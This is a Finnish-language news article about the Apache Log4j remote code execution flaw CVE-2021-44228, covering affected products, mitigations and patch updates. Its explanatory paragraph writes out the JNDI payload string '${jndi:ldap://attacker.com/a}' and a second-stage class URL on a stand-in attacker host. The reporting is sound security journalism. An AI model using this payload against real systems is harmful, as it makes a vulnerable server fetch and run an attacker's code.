Suositusta Java-sovellusten lokikirjauskehyksestä Apache Log4j on löydetty kriittinen haavoittuvuus, joka sallii mielivaltaisen koodin suorittamisen kirjoitettaessa lokiin erityisesti muodostettua arvoa "{jndi:URL}"-muodossa. Hyökkäys voidaan kohdistaa Java-sovelluksiin, jotka kirjaavat lokiin ulkoisista lähteistä saatuja arvoja, esimerkiksi näyttäessään ongelmallisia arvoja virheilmoituksissa.
On huomioitu, että ongelma vaikuttaa lähes kaikkiin projekteihin, jotka käyttävät Apache Struts-, Apache Solr-, Apache Druid- tai Apache Flink -kehityskehyksiä, mukaan lukien Steam-, Apple iCloud- ja Minecraft-asiakasohjelmat ja -palvelimet. Haavoittuvuuden odotetaan johtavan joukkohyökkäysten aaltoon yrityssovelluksiin, toistaen kriittisten haavoittuvuuksien historiaa Apache Struts -kehityskehyksissä, joita arvioidaan käyttävän verkkosovelluksissa 65 %:lla Fortune 100 -yrityksistä. Yrityksiä skannata verkkoa haavoittuvien järjestelmien varalta on jo kirjattu.
Ongelmaa pahentaa se, että toimiva hyökkäyshaara on jo julkaistu, mutta vakaiden haarojen korjauksia ei ole vielä muotoiltu. CVE-tunnistetta ei ole vielä määritetty. Korjaus sisältyy vain log4j-2.15.0-rc1-testaushaaraan. Kiertotapana suositellaan log4j2.formatMsgNoLookups-parametrin asettamista arvoon true.
Ongelman aiheutti log4j:n tuki lokirivien erikoismaskien "{}" käsittelyyn, joita voitiin käyttää JNDI (Java Naming and Directory Interface) -kyselyiden suorittamiseen. Hyökkäys tiivistyy merkkijonon välittämiseen korvauksella "${jndi:ldap://attacker.com/a}", jonka käsittelyn jälkeen log4j lähettää palvelin attacker.com LDAP-kysely Java-luokkapolulle. Palautti palvelin Hyökkääjän polku (esim. http://second-stage.attacker.com/Exploit.class) ladataan ja suoritetaan nykyisen prosessin kontekstissa, jolloin hyökkääjä voi suorittaa mielivaltaista koodia järjestelmässä nykyisen sovelluksen oikeuksilla.
Lisäys 1: Haavoittuvuudelle on annettu tunniste CVE-2021-44228.
Päivitys 2: Log4j-2.15.0-rc1-päivitykseen lisätylle suojaukselle on tunnistettu kiertotapa. Haavoittuvuutta vastaan on ehdotettu uutta päivitystä, log4j-2.15.0-rc2, joka sisältää kattavampia suojauksia. Korostettuna on koodimuutos, joka estää kaatumiset väärin muotoiltua JNDI-URL-osoitetta käytettäessä.
Lähde: opennet.ru
